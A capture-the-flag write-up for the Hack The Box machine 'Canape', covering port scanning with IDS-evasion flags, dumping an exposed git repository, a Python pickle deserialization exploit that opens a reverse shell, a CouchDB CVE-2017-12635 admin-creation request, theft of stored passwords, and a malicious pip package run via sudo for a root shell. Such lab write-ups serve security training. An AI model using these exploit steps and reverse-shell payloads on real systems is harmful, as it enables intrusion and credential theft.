Information#
Box#
- Name: Canape
- Profile: www.hackthebox.eu
- Difficulty: Medium
- OS: Linux
- Points: 30
Write-up#
Network Enumeration / Reconnaissance#
Let's get started with a full port scan to see which ports are open by using nmap.
1 | nmap -p- -R -T4 -sS --open --max-retries 2 --min-rate 500 --initial-rtt-timeout 300ms --min-rtt-timeout 50ms --max-rtt-timeout 300ms --max-scan-delay 1 -Pn 10.10.10.70 -v -oG fullport.scan -f -d |
-p-
=-p 1-65535
: all portsR
: always do DNS resolution-T4
: scan speed level 4-sS
: SYN scan--open
: show only open ports-Pn
: disable ping (no host discovery, assume the host is alive)-v
: verbose-oG
grepable output-f
(fragment) =--mtu
(maximum transmission unit): fragment packets for firewall and IDS evasion-d
: debug- other options are advanced network optimizations
I found only two ports open, one is HTTP and the other is unknown:
1 | PORT STATE SERVICE REASON |
So let's run a more aggressive scan in order to get more information:
1 | nmap -sT -p80,65535 -Pn -n -A 10.10.10.70 -oG aggressive.scan -v -d |
-A
: aggressive scan; this enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)sT
: TCP scan-n
: never do DNS resolution
This time there is more information about the protocols:
1 | PORT STATE SERVICE REASON VERSION |
Finally there was a ssh server behind port 65535.
Service (HTTP) Enumeration / Reconnaissance#
Let's load the website and take a look at the source code:
1 | <!-- |
There is a hash here, we can use hashid to identify the hash type.
1 | $ hashid c8a74a098a60aaea1af98945bd707a7eab0ff4b0 |
So the hash was probably generated with SHA1.
Now I will use a web directory and file scanner like dirb or dirsearch to try to find some interesting unlinked content.
With the help of one of the previously mentioned tool, I quickly found the /.git/
directory, which is, of course, a git repository.
So I will dump http://10.10.10.70/.git/ in order to get the git repository locally and be able to browse it with the git CLI.
In order to dump the git repository, I used GitTools and its dumper script:
1 | $ ~/CTF/tools/GitTools/Dumper/gitdumper.sh http://10.10.10.70/.git/ gitdir |
With git checkout 524f9dd
I jumped to a previous commit tagged as final.
Then I reviewed a python file named __init__.py
:
1 | import couchdb |
The file is describing the web application behavior.
I can quickly note there is a CouchDB server running on localhost:5984
.
The web application is listing some Simpsons quotes and also allow us to submit some.
So I can only submit quotes from whitelist Simpsons characters.
Once submitted, the quote will be stored in a file name "/tmp/" + md5(char + quote).hexdigest() + ".p
.
So I know exactly where the file will be stored and how it will be named.
The normal behavior will be to submit a quote like this:
1 | $ curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' http://10.10.10.70/submit -d 'character=homer"e=testttttt' |
Then we can check the quote was saved by computing the file id which is used for the file name and request it:
1 | $ printf %s%s 'homer' 'testttttt' | md5sum | awk '{ print $1 }' | tr -d '\n' |
Exploiting the web application vulnerability#
Did you spotted the vulnerability in the source code?
When doing the check, the web application is loading the content of the quote file into Pickle.
Note: Pickle is a python library used to serialize python objects.
Why this is a vulnerability? Because pickle deserialization can lead to arbitrary code execution if the data passed to it is unsafe, like in our case, controlled by the user.
There are various article on Internet explaining what is deserialization, Pickle or its exploitation like this one: Explaining and exploiting deserialization vulnerability with Python.
So here we are:
- We can control the data passed to cPickle (so we can make some code executed)
- We know where the file is stored (so we can trigger the payload)
- We have the source code (so we are able to build a valid payload targeting the web application)
I created the following payload in python (name pickle_exploit.py
):
1 | import re, cPickle, hashlib, requests, os |
This payload will create a reverse shell, so the server will connect back on a listener I'm controlling and offer me a bash shell.
Let's start a listener and set some proper TTY environment once we are connected on the remote shell:
1 | $ stty raw -echo |
You'll tell me, what is the black magic around netcat?
This is basically for Upgrading simple shells to fully interactive TTYs.
If you are curious you can read the previously linked article and also the following man page STTY(1)
and SCRIPT(1)
.
Elevation of Privilege (EoP) - From service to user#
The goal of Elevation of Privilege (EoP) a.k.a. Privilege Escalation (priv esc or PE), is to go from a low privilege access tp a high privilege one. So here on a linux system we will try to get root.
But before attacking a vulnerable service, I must find it!
A good idea if not using an automated tool, is to stick to an enumeration guide like this one: Basic Linux Privilege Escalation.
The first thing we need to know is, on which operating system (OS) are we and with which kernel:
1 | $ cat /etc/os-release |
We are lucky, we won't need to do much enumeration. Remember? In the web application source code, we saw there was a CouchDB server. Let's see what the service has to answer:
1 | $ curl http://localhost:5984/ |
Now, I know the Apache CouchDB is in version 2.0.0. Bad luck for them! This version is vulnerable and impacted by some critical issues.
- Some public vulnerabilities: https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-19046/version_id-230263/Apache-Couchdb-2.0.0.html
- The public exploit I will use: https://www.exploit-db.com/exploits/44498/ Apache CouchDB JSON Remote Privilege Escalation Vulnerability (CVE-2017-12635)
This exploit script will exploit the JSON API to create an admin user. As it is fairly easy, I will do it manually instead.
1 | $ curl -X PUT -H 'Content-Type: application/json' -d '{"type": "user", "name": "noraj", "roles": ["_admin"], "roles": [], "password": "nopass"}' http://localhost:5984/_users/org.couchdb.user:noraj |
Now I have a CouchDB admin user noraj
with password nopass
.
Apache CouchDB documentation is available here but you won't be able to read 2.0.0 documentation as it has been archived. So you will have to download the PDF or HTML zip from here.
You also read the PDF directly with Firefox(thanks to PDF.js): https://buildmedia.readthedocs.org/media/pdf/couchdb/2.0.0/couchdb.pdf
On page 217, the endpoint /_all_dbs
is described:
Returns a list of all the databases in the CouchDB instance.
1 | $ curl -X GET http://noraj:nopass@127.0.0.1:5984/_all_dbs -H 'Content-Type: application/json' |
We can see there is a database _users
and a one named password
.
On page 249, the endpoint /db/_all_docs
is described:
Apache CouchDB, Release 2.0.0{"_id": "FishStew","servings": 4,"subtitle": "Delicious with fresh bread","title": "Fish Stew"}Response:HTTP/1.1 202 AcceptedCache-Control: must-revalidateContent-Length: 28Content-Type: application/jsonDate: Tue, 13 Aug 2013 15:19:25 GMTLocation: http://localhost:5984/db/FishStewServer: CouchDB (Erlang/OTP){"id": "FishStew","ok":true}10.3.2/db/_all_docsGET /{db}/_all_docsReturns a JSON structure of all of the documents in a given database. The information is returned as a JSONstructure containing meta information about the return structure, including a list of all documents and basiccontents, consisting the ID, revision and key. The key is the from the document’s
_id
.
Let's see the database _users
first:
1 | $ curl -X GET -H 'Content-Type: application/json' http://noraj:nopass@127.0.0.1:5984/_users/_all_docs |
Nothing much interesting here.
Now the database password
:
1 | $ curl -X GET -H 'Content-Type: application/json' http://noraj:nopass@127.0.0.1:5984/passwords/_all_docs |
Looks like there are 4 passwords here but only a reference to them. So I just have to request those id:
1 | $ curl -X GET -H 'Content-Type: application/json' http://noraj:nopass@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 |
As it is all about Simpsons from the beginning, let's target the user homer
with password h02ddjdj2k2k2
and try to connect to ssh with those credentials.
1 | $ ssh homer@10.10.10.70 -p 65535 |
Success!
Elevation of Privilege (EoP) - From user to root#
Here I'm lucky again, no need for enumeration or exploits, just the ultimately basic check:
1 | homer@canape:~$ sudo -l |
It seems we can install any python package with pip as root!
So let's create one that will bring me a root shell:
1 | $ cd |
1 | import socket,subprocess,os |
Now I just have to install it as root:
1 | $ sudo /usr/bin/pip install -e . setup.py |
Bingo!
1 | root@canape:~# cat /root/root.txt |